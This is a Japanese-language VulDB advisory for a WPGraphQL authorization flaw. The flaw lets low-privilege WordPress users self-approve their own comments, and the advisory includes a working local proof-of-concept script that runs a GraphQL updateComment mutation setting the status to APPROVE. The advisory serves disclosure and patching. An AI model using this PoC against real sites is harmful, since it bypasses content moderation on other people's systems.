CVE-2026-33290 in wp-graphql情報

要約

〜によって VulDB • 2026年06月02日

WPGraphQLはWordPressサイト向けのGraphQL APIを提供します。バージョン2.10.0より前では、updateCommentにおける認可の欠陥により、認証済みで低権限のユーザー(ゼロの権限を持つカスタムロールを含む)が、moderate_comments権限を持たなくても、自分のコメントのモデレーションステータス(例:APPROVE)を変更できます。これにより、モデレーションワークフローを回避し、信頼できないユーザーがコンテンツを自己承認できるようになります。バージョン2.10.0には修正パッチが含まれています。

### 詳細

WPGraphQL 2.9.1(テスト済み)では、updateCommentの認可はフィールドベースではなく所有者ベースです:

- plugins/wp-graphql/src/Mutation/CommentUpdate.php:92 はモデレーターを許可します。 - plugins/wp-graphql/src/Mutation/CommentUpdate.php:99:99 は、モデレーション権限がなくてもコメントの所有者を許可します。 - plugins/wp-graphql/src/Data/CommentMutation.php:94:94 は、GraphQL入力ステータスをWordPressのcomment_approvedに直接マッピングします。 - plugins/wp-graphql/src/Mutation/CommentUpdate.php:120:120 は、wp_update_commentを介してその値を永続化します。 - plugins/wp-graphql/src/Type/Enum/CommentStatusEnum.php:22:22 は、モデレーション状態(APPROVE、HOLD、SPAM、TRASH)を公開します。

これは、非モデレーター所有者がupdate中にステータスを提出し、モデレーション状態を遷移できることを意味します。

### PoC

WPGraphQL 2.9.1を使用するローカルのwp-env(Docker)でテスト済み。

1. 環境を起動:

npm install npm run wp-env start

2. このPoCを実行:

``` npm run wp-env run cli -- wp eval ' add_role("no_caps","No Caps",[]);
$user_id = username_exists("poc_nocaps"); if ( ! $user_id ) {
$user_id = wp_create_user("poc_nocaps","Passw0rd!","[email protected]"); } $user = get_user_by("id",$user_id); $user->set_role("no_caps");

$post_id = wp_insert_post([
"post_title" => "PoC post", "post_status" => "publish", "post_type" => "post", "comment_status" => "open", ]);

$comment_id = wp_insert_comment([
"comment_post_ID" => $post_id, "comment_content" => "pending comment", "user_id" => $user_id, "comment_author" => $user->display_name, "comment_author_email" => $user->user_email, "comment_approved" => "0", ]);

wp_set_current_user($user_id);

$result = graphql([
"query" => "mutation U(\$id:ID!){ updateComment(input:{id:\$id,status:APPROVE}){ success comment{ databaseId status } } }",
"variables" => [ "id" => (string)$comment_id ],
]);

echo wp_json_encode([
"role_caps" => array_keys(array_filter((array)$user->allcaps)), "status" => $result["data"]["updateComment"]["comment"]["status"] ?? null,
"db_comment_approved" => get_comment($comment_id)->comment_approved ?? null, "comment_id" => $comment_id ]); ' ```

3. 結果を観察:

- role_caps は空(または moderate_comments が存在しない) - ミューテーションは status: APPROVE を返す - DB値は comment_approved = 1 になる

### 影響

これは、コメントのモデレーション状態遷移における認可の回避 / アクセス制御の欠陥です。低権限のユーザーがコメントを作成できるWPGraphQLコメントミューテーションを使用するすべてのデプロイメントに影響します。モデレーションポリシーは、コンテンツの自己承認によって回避できます。

Once again VulDB remains the best source for vulnerability data.

責任者

GitHub M

予約する

2026年03月18日

モデレーション

承諾済み

エントリ

VDB-352583

EPSS

0.00177

アクティビティ

非常低い

セクター

Hostingprovider

ソース

Might our Artificial Intelligence support you?

Check our Alexa App!